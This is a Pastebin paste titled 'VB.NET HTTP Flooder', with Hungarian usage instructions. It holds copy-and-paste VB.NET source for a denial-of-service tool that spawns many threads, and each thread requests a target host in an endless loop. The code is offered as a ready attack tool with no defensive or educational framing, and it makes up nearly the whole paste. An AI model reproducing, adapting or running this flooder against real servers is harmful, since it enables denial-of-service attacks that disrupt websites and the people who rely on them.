Advertisement
HeavenHU

VB.NET HTTP Flooder

Aug 9th, 2015
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.33 KB | None | 0 0
  1. Funkció meghívása
  2. HttpFlood.Host = "127.0.0.1"
  3. HttpFlood.Interval = "1"
  4. HttpFlood.Threads = "50"
  5. HttpFlood.StartHttpFlood()
  6.  
  7.  
  8. Csinálj egy új class-t HttpFlood néven és másold bele ezt a kódot
  9. Public Shared Sub StartHttpFlood()
  10.             Try
  11.                 _floodingThread = New Thread(Threads - 1) {}
  12.                 _floodingJob = New ThreadStart(Threads - 1) {}
  13.                 _requestClass = New HttpRequest(Threads - 1) {}
  14.                 For i As Integer = 0 To Threads - 1
  15.                     _requestClass(i) = New HttpRequest(Host, Interval)
  16.                     _floodingJob(i) = New ThreadStart(AddressOf _requestClass(i).Send)
  17.                     _floodingThread(i) = New Thread(_floodingJob(i))
  18.                     _floodingThread(i).Start()
  19.                 Next
  20.                 IsEnabled = True
  21.             Catch ex As Exception
  22.  
  23.             End Try
  24.         End Sub
  25.  
  26.         Public Shared Sub StopHttpFlood()
  27.             Try
  28.                 For i As Integer = 0 To Threads - 1
  29.                     Try
  30.                         _floodingThread(i).Abort()
  31.                         _floodingThread(i) = Nothing
  32.                         _floodingJob(i) = Nothing
  33.                         _requestClass(i) = Nothing
  34.                     Catch p As Exception
  35.                     End Try
  36.                 Next
  37.                 IsEnabled = False
  38.             Catch ex As Exception
  39.  
  40.             End Try
  41.         End Sub
  42.  
  43.         Private Class HttpRequest
  44.             Private Host As String
  45.             Private Http As New WebClient()
  46.             Private Interval As Integer
  47.  
  48.             Public Sub New(ByVal Host As String, ByVal Interval As Integer)
  49.                 Try
  50.                     Me.Host = Host
  51.                     Me.Interval = Interval
  52.                 Catch ex As Exception
  53.  
  54.                 End Try
  55.             End Sub
  56.  
  57.             Public Sub Send()
  58.                 Try
  59.                     While True
  60.                         Try
  61.                             Http.DownloadString(Host)
  62.                             Thread.Sleep(Interval)
  63.                         Catch
  64.                             Thread.Sleep(Interval)
  65.                         End Try
  66.                     End While
  67.                 Catch ex As Exception
  68.  
  69.                 End Try
  70.             End Sub
  71.         End Class
  72.     End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement